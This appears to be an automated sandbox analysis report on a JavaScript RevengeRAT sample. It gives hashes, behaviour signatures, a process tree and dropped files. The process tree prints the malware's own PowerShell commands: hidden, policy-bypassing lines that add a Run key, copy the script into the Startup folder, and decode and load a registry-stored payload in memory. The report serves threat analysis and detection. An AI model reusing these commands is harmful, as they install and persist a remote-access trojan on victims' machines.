Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-05-2024 11:22

General

  • Target

    0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js

  • Size

    286KB

  • MD5

    0baae90140666a166ba4c9afd6aeba63

  • SHA1

    9bf0a78c3315231157c930e2b082bcc08595c540

  • SHA256

    5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36

  • SHA512

    62c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089

  • SSDEEP

    3072:X8ZCsmsR3IqCIHLl75z4sI70rcAtxu6m89132TEI6jL2TdKL9YEgIximLiJv55hE:sUUSzcWQViC9

Malware Config

Extracted

Family

revengerat

Mutex

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • RevengeRat Executable 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'));wscript 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3024
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4944
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'microsoft' -value 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js' -PropertyType String -Force;"
          4⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4840
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'))"
          4⤵
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4396
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'microsoft').microsoft;$_b=$_b.replace('@','0');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4656

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

    Filesize

    53KB

    MD5

    a26df49623eff12a70a93f649776dab7

    SHA1

    efb53bd0df3ac34bd119adf8788127ad57e53803

    SHA256

    4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

    SHA512

    e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3jxchlky.2go.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js

    Filesize

    286KB

    MD5

    0baae90140666a166ba4c9afd6aeba63

    SHA1

    9bf0a78c3315231157c930e2b082bcc08595c540

    SHA256

    5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36

    SHA512

    62c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089

  • memory/3024-0-0x0000019800000000-0x0000019800022000-memory.dmp

    Filesize

    136KB

  • memory/3024-10-0x00007FFF05FD0000-0x00007FFF06A91000-memory.dmp

    Filesize

    10.8MB

  • memory/3024-11-0x00000197FDE10000-0x00000197FDE20000-memory.dmp

    Filesize

    64KB

  • memory/3024-12-0x00000197FDE10000-0x00000197FDE20000-memory.dmp

    Filesize

    64KB

  • memory/3024-13-0x0000019800080000-0x00000198000C4000-memory.dmp

    Filesize

    272KB

  • memory/3024-16-0x0000019800150000-0x00000198001C6000-memory.dmp

    Filesize

    472KB

  • memory/3024-53-0x00007FFF05FD0000-0x00007FFF06A91000-memory.dmp

    Filesize

    10.8MB

  • memory/3024-54-0x00000197FDE10000-0x00000197FDE20000-memory.dmp

    Filesize

    64KB

  • memory/4656-45-0x0000025377280000-0x0000025377288000-memory.dmp

    Filesize

    32KB